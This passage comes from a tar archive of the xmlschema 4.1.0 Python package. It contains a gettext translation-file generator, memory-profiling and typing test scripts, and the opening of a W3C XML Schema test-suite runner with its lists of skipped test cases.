Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # # type: ignore # """Translation files generator utility.""" if __name__ == '__main__': import argparse import os import sys import subprocess from pathlib import Path COPYRIGHT_HOLDER = r", 2016, SISSA (International School for Advanced Studies)." parser = argparse.ArgumentParser( description="Translation files generator utility for xmlschema" ) parser.add_argument( '-L', '--directory', metavar='LOCALE-DIR', type=str, default=None, help="use a custom locale directory (for extra local translations)" ) parser.add_argument( '-t', '--template', action='store_true', default=False, help="generate xmlschema.pot template file" ) parser.add_argument( '-u', '--update', action='store_true', default=False, help="update locale xmlschema.po file from xmlschema.pot template" ) parser.add_argument( '-c', '--compile', action='store_true', default=False, help="generate xmlschema.mo file from locale xmlschema.po" ) parser.add_argument('languages', type=str, nargs='*', help="process locale files for languages") args = parser.parse_args() if args.directory is not None: locale_dir = Path(args.directory).resolve() os.chdir(Path(__file__).parent.parent) try: locale_dir = locale_dir.relative_to(os.getcwd()) except ValueError: pass # Not a subdir, use the absolute path. else: os.chdir(Path(__file__).parent.parent) locale_dir = Path('xmlschema/locale') assert locale_dir.is_dir(), 'locale directory not found!' package_dir = Path('xmlschema') assert package_dir.is_dir(), 'xmlschema/ package directory not found!' template_file = locale_dir.joinpath('xmlschema.pot') if args.template: print("+++ Generate the template file ...") status, xgettext_cmd = subprocess.getstatusoutput('which xgettext') assert status == 0, "xgettext command is not available!" cmd = [xgettext_cmd, f'--copyright-holder={COPYRIGHT_HOLDER}', '--package-name=xmlschema', '--from-code=UTF-8', '-o', str(template_file)] cmd.extend(str(path) for path in package_dir.glob('**/*.py')) process = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stderr = process.stderr.decode('utf-8').strip() if stderr: print(stderr) sys.exit(1) # .POT template file fixes with template_file.open() as fp: text = fp.read().replace('charset=CHARSET', 'charset=UTF-8', 1) with template_file.open(mode='w') as fp: fp.write(text) print(f' ... file {str(template_file)} written\n') if not args.languages: print("No language code provided, exit ...") sys.exit() if args.update: status, msgmerge_cmd = subprocess.getstatusoutput('which msgmerge') assert status == 0, "msgmerge command is not available!" for lang in args.languages: print(f"+++ Update the .po file for language {lang!r}") po_file = locale_dir.joinpath(f'{lang}/LC_MESSAGES/xmlschema.po') if not po_file.exists(): po_file.parent.mkdir(parents=True, exist_ok=True) status, msginit_cmd = subprocess.getstatusoutput('which msginit') assert status == 0, "msginit command is not available!" cmd = [msginit_cmd, '-l', f'{lang}', '-o', str(po_file), '-i', str(template_file)] process = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stderr = process.stderr.decode('utf-8').strip() if stderr: print(stderr) print(f' ... file {str(po_file)} initialized\n') cmd = [msgmerge_cmd, '-o', str(po_file), str(po_file), str(template_file)] process = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stderr = process.stderr.decode('utf-8').strip() if 'done' not in stderr: print(stderr) sys.exit(1) print(f' ... file {str(po_file)} updated\n') if args.compile: status, msgfmt_cmd = subprocess.getstatusoutput('which msgfmt') assert status == 0, "msgfmt command is not available!" for lang in args.languages: print(f"+++ Generate the .mo file for language {lang!r}") po_file = locale_dir.joinpath(f'{lang}/LC_MESSAGES/xmlschema.po') mo_file = locale_dir.joinpath(f'{lang}/LC_MESSAGES/xmlschema.mo') if not po_file.exists(): print(f" ... file {str(po_file)} doesn't exist!") sys.exit(1) cmd = [msgfmt_cmd, '-o', str(mo_file), str(po_file)] process = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stderr = process.stderr.decode('utf-8').strip() if stderr: print(stderr) sys.exit(1) print(f' ... file {str(mo_file)} written\n') ���������xmlschema-4.1.0/tests/������������������������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0014627�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/__init__.py�������������������������������������������������������������������0000664�0000000�0000000�00000000000�15020401055�0016726�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/check_memory.py���������������������������������������������������������������0000775�0000000�0000000�00000015460�15020401055�0017657�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """ Check xmlschema package memory usage. Refs: https://pypi.org/project/memory_profiler/ https://github.com/brunato/xmlschema/issues/32 """ import argparse def test_choice_type(value): if value not in (str(v) for v in range(1, 14)): msg = "%r must be an integer between [1 ... 13]." % value raise argparse.ArgumentTypeError(msg) return int(value) parser = argparse.ArgumentParser(add_help=True) parser.usage = """%(prog)s TEST_NUM [XML_FILE [REPEAT]] Run memory tests: 1) Package import or schema build 2) Iterate XML file with parse 3) Iterate XML file with full iterparse 4) Iterate XML file with emptied iterparse 5) Decode XML file with xmlschema 6) Decode XML file with xmlschema in lazy mode 7) Validate XML file with xmlschema 8) Validate XML file with xmlschema in lazy mode 9) Iterate XML file with XMLResource instance 10) Iterate XML file with lazy XMLResource instance 11) Iterate XML file with lazy XMLResource instance (thin lazy iter) 12) Iterate XML file with lxml parse 13) Iterate XML file with lxml full iterparse """ parser.add_argument('test_num', metavar="TEST_NUM", type=test_choice_type, help="Test number to run") parser.add_argument('xml_file', metavar='XML_FILE', nargs='?', help='Input XML file') parser.add_argument('repeat', metavar='REPEAT', nargs='?', type=int, default=1, help='Repeat operation N times') args = parser.parse_args() def profile_memory(func): def wrapper(*a, **kw): mem = this_process.memory_info().rss result = func(*a, **kw) mem = this_process.memory_info().rss - mem print("Memory usage by %s(): %.2f MB (%d)" % (func.__name__, mem / 1024 ** 2, mem)) return result return wrapper @profile_memory def import_package(): # Imports of packages used by xmlschema that # have a significant memory usage impact. import xmlschema return xmlschema @profile_memory def build_schema(source): xs = xmlschema.XMLSchema(source) return xs @profile_memory def etree_parse(source, repeat=1): xt = ElementTree.parse(source) for _ in range(repeat): for _ in xt.iter(): pass del xt @profile_memory def etree_full_iterparse(source, repeat=1): for _ in range(repeat): context = ElementTree.iterparse(source, events=('start', 'end')) for event, elem in context: if event == 'start': pass @profile_memory def etree_emptied_iterparse(source, repeat=1): for _ in range(repeat): context = ElementTree.iterparse(source, events=('start', 'end')) for event, elem in context: if event == 'end': elem.clear() @profile_memory def decode(source, repeat=1): decoder = xmlschema.XMLSchema.meta_schema if source.endswith('.xsd') else xmlschema for _ in range(repeat): decoder.to_dict(source) @profile_memory def lazy_decode(source, repeat=1): if source.endswith('.xsd'): decoder = xmlschema.XMLSchema.meta_schema.iter_decode else: decoder = xmlschema.iter_decode # type: ignore for _ in range(repeat): for _result in decoder(xmlschema.XMLResource(source, lazy=True), path='*'): del _result @profile_memory def validate(source, repeat=1): validator = xmlschema.XMLSchema.meta_schema if source.endswith('.xsd') else xmlschema for _ in range(repeat): validator.validate(source) @profile_memory def lazy_validate(source, repeat=1): if source.endswith('.xsd'): validator, path = xmlschema.XMLSchema.meta_schema, '*' else: validator, path = xmlschema, None for _ in range(repeat): validator.validate(xmlschema.XMLResource(source, lazy=True), path=path) @profile_memory def full_xml_resource(source, repeat=1): xr = xmlschema.XMLResource(source) for _ in range(repeat): for _ in xr.iter(): pass del xr @profile_memory def lazy_xml_resource(source, repeat=1): xr = xmlschema.XMLResource(source, lazy=True, thin_lazy=False) for _ in range(repeat): for _ in xr.iter(): pass del xr @profile_memory def thin_lazy_xml_resource(source, repeat=1): xr = xmlschema.XMLResource(source, lazy=True) for _ in range(repeat): for _ in xr.iter(): pass del xr @profile_memory def lxml_etree_parse(source, repeat=1): xt = etree.parse(source) for _ in range(repeat): for _ in xt.iter(): pass del xt @profile_memory def lxml_etree_full_iterparse(source, repeat=1): for _ in range(repeat): context = etree.iterparse(source, events=('start', 'end')) for event, elem in context: if event == 'start': pass if __name__ == '__main__': import os import decimal # noqa from urllib.error import URLError # noqa from xml.etree import ElementTree import lxml.etree as etree # noqa import elementpath # noqa import psutil this_process = psutil.Process(os.getpid()) if args.test_num == 1 and args.xml_file is None: import_package() else: import xmlschema if args.test_num == 1: build_schema(args.xml_file) elif args.test_num == 2: etree_parse(args.xml_file, args.repeat) elif args.test_num == 3: etree_full_iterparse(args.xml_file, args.repeat) elif args.test_num == 4: etree_emptied_iterparse(args.xml_file, args.repeat) elif args.test_num == 5: xmlschema.XMLSchema.meta_schema.build() decode(args.xml_file, args.repeat) elif args.test_num == 6: xmlschema.XMLSchema.meta_schema.build() lazy_decode(args.xml_file, args.repeat) elif args.test_num == 7: xmlschema.XMLSchema.meta_schema.build() validate(args.xml_file, args.repeat) elif args.test_num == 8: xmlschema.XMLSchema.meta_schema.build() lazy_validate(args.xml_file, args.repeat) elif args.test_num == 9: full_xml_resource(args.xml_file, args.repeat) elif args.test_num == 10: lazy_xml_resource(args.xml_file, args.repeat) elif args.test_num == 11: thin_lazy_xml_resource(args.xml_file, args.repeat) elif args.test_num == 12: lxml_etree_parse(args.xml_file, args.repeat) elif args.test_num == 13: lxml_etree_full_iterparse(args.xml_file, args.repeat) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/run_all_tests.py��������������������������������������������������������������0000664�0000000�0000000�00000003037�15020401055�0020062�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # if __name__ == '__main__': import os import random from xmlschema.testing import make_schema_test_class, make_validation_test_class, \ xmlschema_tests_factory, parse_xmlschema_args, run_xmlschema_tests def load_tests(loader, tests, pattern): tests.addTests(loader.discover( start_dir=os.path.dirname(__file__), pattern=pattern or 'test_*.py', )) if args.random: tests._tests.sort(key=lambda x: random.randint(0, 0xFFFFFFFF)) # noqa return tests args = parse_xmlschema_args() schema_tests = xmlschema_tests_factory( test_class_builder=make_schema_test_class, testfiles=args.testfiles, suffix='xsd', check_with_lxml=args.lxml, codegen=args.codegen, verbosity=args.verbosity, ) globals().update(schema_tests) validation_tests = xmlschema_tests_factory( test_class_builder=make_validation_test_class, testfiles=args.testfiles, suffix='xml', check_with_lxml=args.lxml, codegen=args.codegen, verbosity=args.verbosity, ) globals().update(validation_tests) run_xmlschema_tests('package', args) �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/run_memory_tests.py�����������������������������������������������������������0000664�0000000�0000000�00000011655�15020401055�0020627�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2018-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import unittest import os import pathlib import platform import subprocess import sys import tempfile try: import psutil except ImportError: psutil = None @unittest.skipIf(platform.python_implementation() == 'PyPy', "skipped on PyPy") @unittest.skipIf(psutil is None, "Package psutil is not installed!") class TestMemoryUsage(unittest.TestCase): @staticmethod def get_memory_usage(output): if '-v' in sys.argv: sys.stdout.write(f'\n {output.strip()} ') return int(output.strip().rsplit('(')[-1][:-1]) def test_package_memory_usage(self): test_dir = os.path.dirname(__file__) or '.' cmd = [sys.executable, os.path.join(test_dir, 'check_memory.py'), '1'] output = subprocess.check_output(cmd, text=True).strip() package_mem = self.get_memory_usage(output) self.assertLess(package_mem, 20 * 1024 ** 2) def test_element_tree_memory_usage(self): test_dir = os.path.dirname(__file__) or '.' xsd10_schema_file = os.path.join( os.path.dirname(os.path.abspath(test_dir)), 'xmlschema/schemas/XSD_1.0/XMLSchema.xsd' ) cmd = [sys.executable, os.path.join(test_dir, 'check_memory.py'), '2', xsd10_schema_file] output = subprocess.check_output(cmd, text=True) parse_mem = self.get_memory_usage(output) cmd = [sys.executable, os.path.join(test_dir, 'check_memory.py'), '3', xsd10_schema_file] output = subprocess.check_output(cmd, text=True) iterparse_mem = self.get_memory_usage(output) cmd = [sys.executable, os.path.join(test_dir, 'check_memory.py'), '4', xsd10_schema_file] output = subprocess.check_output(cmd, text=True) lazy_iterparse_mem = self.get_memory_usage(output) self.assertLess(parse_mem, 2 * 1024 ** 2) self.assertLess(lazy_iterparse_mem, parse_mem) self.assertLess(lazy_iterparse_mem, iterparse_mem) def test_decode_memory_usage(self): with tempfile.TemporaryDirectory() as dirname: python_script = pathlib.Path(__file__).parent.joinpath('check_memory.py') xsd_file = pathlib.Path(__file__).parent.absolute().joinpath( 'test_cases/features/decoder/long-sequence-1.xsd' ) xml_file = pathlib.Path(dirname).joinpath('data.xml') with xml_file.open('w') as fp: fp.write('<data ') fp.write('xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ') fp.write(f'xsi:noNamespaceSchemaLocation="{xsd_file.as_uri()}">\n') for k in range(1000): fp.write('<chunk><a><b1/><b2/><b3/></a></chunk>\n') fp.write('</data>\n') cmd = [sys.executable, python_script, '5', str(xml_file)] output = subprocess.check_output(cmd, text=True) decode_mem = self.get_memory_usage(output) cmd = [sys.executable, python_script, '6', str(xml_file)] output = subprocess.check_output(cmd, text=True) lazy_decode_mem = self.get_memory_usage(output) self.assertLessEqual(decode_mem, 2.6 * 1024 ** 2) self.assertLessEqual(lazy_decode_mem, 2.1 * 1024 ** 2) def test_validate_memory_usage(self): with tempfile.TemporaryDirectory() as dirname: python_script = pathlib.Path(__file__).parent.joinpath('check_memory.py') xsd_file = pathlib.Path(__file__).parent.absolute().joinpath( 'test_cases/features/decoder/long-sequence-1.xsd' ) xml_file = pathlib.Path(dirname).joinpath('data.xml') with xml_file.open('w') as fp: fp.write('<data ') fp.write('xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ') fp.write(f'xsi:noNamespaceSchemaLocation="{xsd_file.as_uri()}">\n') for k in range(1000): fp.write('<chunk><a><b1/><b2/><b3/></a></chunk>\n') fp.write('</data>\n') cmd = [sys.executable, python_script, '7', str(xml_file)] output = subprocess.check_output(cmd, text=True) validate_mem = self.get_memory_usage(output) cmd = [sys.executable, python_script, '8', str(xml_file)] output = subprocess.check_output(cmd, text=True) lazy_validate_mem = self.get_memory_usage(output) self.assertLess(validate_mem, 2.6 * 1024 ** 2) self.assertLess(lazy_validate_mem, 2.1 * 1024 ** 2) if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('memory usage') �����������������������������������������������������������������������������������xmlschema-4.1.0/tests/run_typing_tests.py�����������������������������������������������������������0000664�0000000�0000000�00000004630�15020401055�0020624�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2018-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """Tests about static typing of xmlschema objects.""" import unittest import importlib from pathlib import Path try: from mypy import api as mypy_api except ImportError: mypy_api = None try: lxml_stubs_module = importlib.import_module('lxml-stubs') except ImportError: lxml_stubs_module = None import elementpath @unittest.skipIf(mypy_api is None, "mypy is not installed") @unittest.skipIf(lxml_stubs_module is None, "lxml-stubs is not installed") class TestTyping(unittest.TestCase): @classmethod def setUpClass(cls): cls.cases_dir = Path(__file__).parent.joinpath('test_cases/mypy') cls.config_file = Path(__file__).parent.parent.joinpath('pyproject.toml') def test_schema_source(self): result = mypy_api.run([ '--strict', '--no-warn-unused-ignores', '--config-file', str(self.config_file), str(self.cases_dir.joinpath('schema_source.py')) ]) self.assertEqual(result[2], 0, msg=result[1] or result[0]) def test_simple_types(self): result = mypy_api.run([ '--strict', '--no-warn-unused-ignores', '--config-file', str(self.config_file), str(self.cases_dir.joinpath('simple_types.py')) ]) self.assertEqual(result[2], 0, msg=result[1] or result[0]) @unittest.skipIf(elementpath.__version__ == '4.5.0', "ep450 needs a patch for protocols") def test_protocols(self): result = mypy_api.run([ '--strict', '--no-warn-unused-ignores', '--config-file', str(self.config_file), str(self.cases_dir.joinpath('protocols.py')) ]) self.assertEqual(result[2], 0, msg=result[1] or result[0]) def test_extra_validator__issue_291(self): result = mypy_api.run([ '--strict', '--config-file', str(self.config_file), str(self.cases_dir.joinpath('extra_validator.py')) ]) self.assertEqual(result[2], 0, msg=result[1] or result[0]) if __name__ == '__main__': unittest.main() ��������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/run_w3c_tests.py��������������������������������������������������������������0000664�0000000�0000000�00000063320�15020401055�0020007�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """ This script runs tests concerning the W3C XML Schema 1.1 test suite. """ import unittest import argparse import os.path import warnings from pathlib import Path from typing import Optional from xml.etree import ElementTree try: import lxml.etree as lxml_etree except ImportError: lxml_etree = None from xmlschema import validate, XMLSchema10, XMLSchema11, \ XMLSchemaException, XMLSchemaValidationError TEST_SUITE_NAMESPACE = "http://www.w3.org/XML/2004/xml-schema-test-suite/" XLINK_NAMESPACE = "http://www.w3.org/1999/xlink" XSD_VERSION_VALUES = {'1.0 1.1', '1.0', '1.1'} ADMITTED_VALIDITY = {'valid', 'invalid', 'indeterminate'} #### # Tests that are incompatible with XSD meta-schema validation or that are postponed SKIPPED_TESTS = { ## # Skip for typos in test data '../msData/regex/reZ003v.xml', # 13589 '../ibmData/instance_invalid/S3_10_6/s3_10_6ii01.xsd', # 14911 '../ibmData/instance_invalid/S3_10_6/s3_10_6ii02.xsd', # 14912 '../ibmData/instance_invalid/S3_10_6/s3_10_6ii04.xsd', # 14914 '../ibmData/instance_invalid/S3_10_1/s3_10_1ii08.xsd', # 15360 '../ibmData/instance_invalid/S3_10_1/s3_10_1ii09.xsd', # 15361 ## # Invalid schemas marked as valid '../msData/additional/addB194.xsd', # invalid xml:lang='enu' is a typo? '../msData/particles/particlesZ001.xsd', # Invalid XSD 1.0 schema (valid with XSD 1.1) '../msData/simpleType/stE110.xsd', # Circular xs:union declaration '../saxonData/Missing/missing001.xsd', # missing type (this may be valid in 'lax' mode?) '../saxonData/Missing/missing002.xsd', # missing substitution group '../saxonData/Missing/missing003.xsd', # missing type and substitution group '../saxonData/Missing/missing006.xsd', # missing list item type '../msData/annotations/annotF001.xsd', # xml.xsd allows xml:lang="" for un-declarations ## # XSD 1.0 limited URI (see RFC 2396 + RFC 2732) '../msData/datatypes/Facets/anyURI/anyURI_a001.xsd', '../msData/datatypes/Facets/anyURI/anyURI_a003.xsd', '../msData/datatypes/Facets/anyURI/anyURI_b004.xsd', '../msData/datatypes/Facets/anyURI/anyURI_b006.xsd', ## # Uncertain cases (disputed tests) '../msData/group/groupH021.xsd', # 8679: Unclear invalidity stated for XSD 1.0 ... # # Two uncertain equivalent cases related with element # substitution and its equivalence with a choice group. # Xerces says these are both invalid with XSD 1.0 and valid with XSD 1.1. # # http://www.w3.org/Bugs/Public/show_bug.cgi?id=4146 # http://www.w3.org/Bugs/Public/show_bug.cgi?id=4147 # '../msData/element/elemZ026.xsd', # 8541: bug id=4147 '../msData/particles/particlesV020.xsd', # 10942: bug id=4147 ## # 7295: Inapplicable test on URI (the first resource is not reachable anymore) # https://www.w3.org/Bugs/Public/show_bug.cgi?id=4126 '../msData/datatypes/Facets/anyURI/anyURI_a004.xml', ## # Signed ad invalid, but valid because it depends on implementation choices or platform. # https://www.w3.org/Bugs/Public/show_bug.cgi?id=4133 '../msData/schema/schG3.xml', '../msData/schema/schG6_a.xsd', # Valid because the ns import is done once, validation fails. '../msData/schema/schG11_a.xsd', # Valid because the ns import is done once, validation fails. '../msData/schema/schG12.xml', '../msData/element/elemZ031.xsd', # Valid because Python has arbitrary large integers ## # Invalid XML tests '../sunData/combined/xsd005/xsd005.n05.xml', # 3984: Invalid if lxml is used (xsi:type and duplicate prefix) '../msData/additional/test93490_4.xml', # 4795: https://www.w3.org/Bugs/Public/show_bug.cgi?id=4078 '../msData/datatypes/gMonth002.xml', # 8017: gMonth bogus: conflicts with other invalid schema tests '../msData/datatypes/gMonth004.xml', # 8019: (http://www.w3.org/Bugs/Public/show_bug.cgi?id=6901) '../wgData/sg/e1.xml', # 14896: wrong href for valid instanceTest name="e1bis.xml" ## # Unicode version related '../msData/regex/reJ11.xml', '../msData/regex/reJ13.xml', '../msData/regex/reJ19.xml', '../msData/regex/reJ21.xml', '../msData/regex/reJ23.xml', '../msData/regex/reJ25.xml', '../msData/regex/reJ29.xml', '../msData/regex/reJ31.xml', '../msData/regex/reJ33.xml', '../msData/regex/reJ35.xml', '../msData/regex/reJ61.xml', '../msData/regex/reJ69.xml', '../msData/regex/reJ75.xml', '../msData/regex/reJ77.xml', '../msData/regex/reL98.xml', '../msData/regex/reL99.xml', '../msData/regex/reM98.xml', '../msData/regex/reN99.xml', '../msData/regex/reS21.xml', '../msData/regex/reS42.xml', '../msData/regex/reT63.xml', '../msData/regex/reT84.xml', # http://www.w3.org/Bugs/Public/show_bug.cgi?id=4113 '../msData/regex/reV16.xml', '../msData/regex/reV17.xml', '../msData/regex/reV18.xml', '../msData/regex/reV19.xml', '../msData/regex/reV20.xml', '../msData/regex/reV21.xml', '../msData/regex/reV22.xml', '../msData/regex/reV23.xml', '../msData/regex/reV24.xml', '../msData/regex/reV33.xml', '../msData/regex/reV34.xml', '../msData/regex/reV35.xml', '../msData/regex/reV36.xml', '../msData/regex/reV37.xml', '../msData/regex/reV38.xml', '../msData/regex/reV39.xml', '../msData/regex/reV40.xml', '../msData/regex/reV41.xml', '../msData/regex/reV42.xml', '../msData/regex/reV43.xml', # Tests with \W pattern and characters belonging to the M category ## # Skip for missing XML version 1.1 implementation '../saxonData/XmlVersions/xv001.v01.xml', # 14850 '../saxonData/XmlVersions/xv003.v01.xml', # 14852 '../saxonData/XmlVersions/xv004.xsd', # 14853 non-BMP chars allowed in names in XML 1.1+ '../saxonData/XmlVersions/xv005.v01.xml', # 14854 '../saxonData/XmlVersions/xv006.v01.xml', # 14855 invalid character  (valid in XML 1.1) '../saxonData/XmlVersions/xv006.n02.xml', # 14855 invalid character 𐀀 (valid in XML 1.1) '../saxonData/XmlVersions/xv007.v01.xml', # 14856 '../saxonData/XmlVersions/xv008.v01.xml', # 14857 '../saxonData/XmlVersions/xv008.n01.xml', '../saxonData/XmlVersions/xv009.v02.xml', # 14858 '../saxonData/XmlVersions/xv009.n02.xml', '../saxonData/XmlVersions/xv009.n03.xml', '../saxonData/XmlVersions/xv100.i.xml', # 14859 '../saxonData/XmlVersions/xv100.c.xml', # 14860 } XSD10_SKIPPED_TESTS = { # Invalid schemas marked as valid '../msData/simpleType/stE072.xsd', # 13868: a union derived from ID with a fixed value '../msData/simpleType/stE072.xml', } XSD11_SKIPPED_TESTS = { # Valid schemas marked ad invalid '../msData/regex/reK86.xsd', # \P{Is} is valid in regex for XSD 1.1 '../msData/regex/reK87.xsd', # \P{Is} is valid in regex for XSD 1.1 '../msData/particles/particlesZ033_g.xsd', # valid in XSD 1.1 (invalid for engine limitation) '../saxonData/CTA/cta0043.xsd', # Only a warning for type table difference on restriction ## # XSD 1.1 schema composition (dynamic schema load) # (See bullet 4 of G.1.15: https://www.w3.org/TR/xmlschema11-1/#ch_schemacomp) '../msData/additional/test93490_5.xml', # 4796 '../msData/additional/test93490_7.xml', # 4798 '../msData/additional/test93490_8.xml', # 4799 '../msData/additional/test93490_10.xml', # 4801 '../msData/additional/test93490_12.xml', # 4803 # TODO: Parse ENTITY declarations in DOCTYPE before enforce checking '../saxonData/Id/id017.n01.xml', # 14571-14575 '../saxonData/Id/id018.n01.xml', '../saxonData/Id/id018.n02.xml', '../saxonData/Id/id019.n01.xml', '../saxonData/Id/id019.n02.xml', '../saxonData/Id/id020.n01.xml', '../saxonData/Id/id020.n02.xml', '../saxonData/Id/id021.n01.xml', '../saxonData/Id/id021.n02.xml', } DO_NOT_USE_META_SCHEMA = { '../msData/additional/test264908_1.xsd', } DO_NOT_USE_FALLBACK_LOCATIONS = { '../msData/wildcards/wildZ001.xml', } # Total files counters total_xsd_files = 0 total_xml_files = 0 def fetch_xsd_test_suite(): parent = os.path.dirname xmlschema_test_dir = parent(os.path.abspath(__file__)) xmlschema_base_dir = parent(xmlschema_test_dir) suite_file = os.path.join(parent(xmlschema_base_dir), 'xsdtests/suite.xml') if os.path.isfile(suite_file): return suite_file else: raise FileNotFoundError("can't find the XSD suite index file suite.xml ...") def skip_message(source_href, group_num, version='each'): if source_href.endswith('.xsd'): msg = "Skip test number {} with schema {!r} for {} version ..." else: msg = "Skip test number {} with file {!r} for {} version ..." print(msg.format(group_num, source_href, version)) def create_w3c_test_group_case(args, filename, group_elem, group_num, xsd_version='1.0'): """ Creates a test class for a W3C test group. :param args: parsed command line arguments. :type args: argparse.Namespace. :param filename: the filename of the testSet that owns the testGroup. :param group_elem: the Element instance of the test group. :param group_num: a positive integer to distinguish and order test groups. :param xsd_version: if '1.1' uses XSD 1.1 validator class, otherwise uses the XSD 1.0 validator. """ def get_test_conf(elem): schema_test = elem.tag.endswith('schemaTest') if schema_test: tag = '{%s}schemaDocument' % TEST_SUITE_NAMESPACE else: tag = '{%s}instanceDocument' % TEST_SUITE_NAMESPACE try: source_href = elem.find(tag).get('{%s}href' % XLINK_NAMESPACE) except AttributeError: return else: if not schema_test and source_href.endswith('.testSet'): return if source_href in SKIPPED_TESTS: if args.numbers: skip_message(source_href, group_num) return # Normalize and check file path source_path = os.path.normpath(os.path.join(os.path.dirname(filename), source_href)) if not os.path.isfile(source_path): print("ERROR: file %r not found!" % source_path) return test_conf = {} for version in xsd_version.split(): if 'version' in elem.attrib and version not in elem.attrib['version']: continue elif version not in args.version: continue elif source_href in XSD10_SKIPPED_TESTS and version == '1.0' or \ source_href in XSD11_SKIPPED_TESTS and version == '1.1': if args.numbers: skip_message(source_href, group_num, version) continue for e in elem.findall('{%s}expected' % TEST_SUITE_NAMESPACE): if 'version' not in e.attrib: test_conf[version] = e.attrib['validity'] elif e.attrib['version'] == version or \ e.attrib['version'] == 'full-xpath-in-CTA': test_conf[version] = e.attrib['validity'] break if version not in test_conf: msg = "ERROR: Missing expected validity for XSD version %s in %r of test group %r" print(msg % (version, elem, name)) return elif test_conf[version] not in ADMITTED_VALIDITY: msg = "ERROR: Wrong validity=%r attribute for XSD version %s in %r test group %r" print(msg % (test_conf[version], version, elem, name)) return elif test_conf[version] not in args.expected: test_conf.pop(version) elif test_conf[version] == 'indeterminate': if args.verbose: print("WARNING: Skip indeterminate test group %r" % name) test_conf.pop(version) if test_conf: test_conf['source'] = source_path if schema_test: if not source_path.endswith('.xml'): test_conf['sources'] = [ os.path.normpath( os.path.join(os.path.dirname(filename), schema_href.get('{%s}href' % XLINK_NAMESPACE)) ) for schema_href in elem.findall(tag) ] if source_href in DO_NOT_USE_META_SCHEMA: nonlocal use_meta use_meta = False if source_href in DO_NOT_USE_FALLBACK_LOCATIONS: nonlocal use_fallback use_fallback = False return test_conf if group_num == 1: return # Skip introspection tests that have several failures due to schema mismatch. elif args.numbers and group_num not in args.numbers: return name = group_elem.attrib['name'] group_tests = [] global total_xsd_files global total_xml_files use_meta = True use_fallback = True # Get schema/instance path for k, child in enumerate(group_elem.iterfind('{%s}schemaTest' % TEST_SUITE_NAMESPACE)): if k: print("ERROR: multiple schemaTest definition in group %r" % name) return config = get_test_conf(child) if not config: return group_tests.append(config) total_xsd_files += 1 if args.xml: for child in group_elem.iterfind('{%s}instanceTest' % TEST_SUITE_NAMESPACE): if 'version' in child.attrib and child.attrib['version'] not in args.version: continue config = get_test_conf(child) if config: group_tests.append(config) total_xml_files += 1 if not group_tests: if len(args.expected) > 1 and args.xml: print("ERROR: Missing both schemaTest and instanceTest in test group %r" % name) return class TestGroupCase(unittest.TestCase): elem = group_elem @classmethod def get_add_info(cls, error: Optional[XMLSchemaException] = None, *files): if len(args.numbers) != 1: return str(error) if error is not None else '' if error is None: msg = '' elif isinstance(error, XMLSchemaValidationError) and error.stack_trace: msg = f"\n\n{error}\n{error.stack_trace}" else: msg = f"\n\n*** Error description ***\n\n{error}" ElementTree.register_namespace('', TEST_SUITE_NAMESPACE) case_info = ElementTree.tostring(cls.elem).decode('utf-8') msg = f"{msg}\n\n*** Case info ***\n\n{case_info}" for filepath in map(Path, files): with filepath.open() as fp: msg = f"{msg}\n\n*** {filepath.name} ***\n\n{fp.read()}" return msg @unittest.skipIf(group_tests[0]['source'].endswith('.xml'), 'No schema test') def test_xsd_schema(self): def create_schema_instance(): with 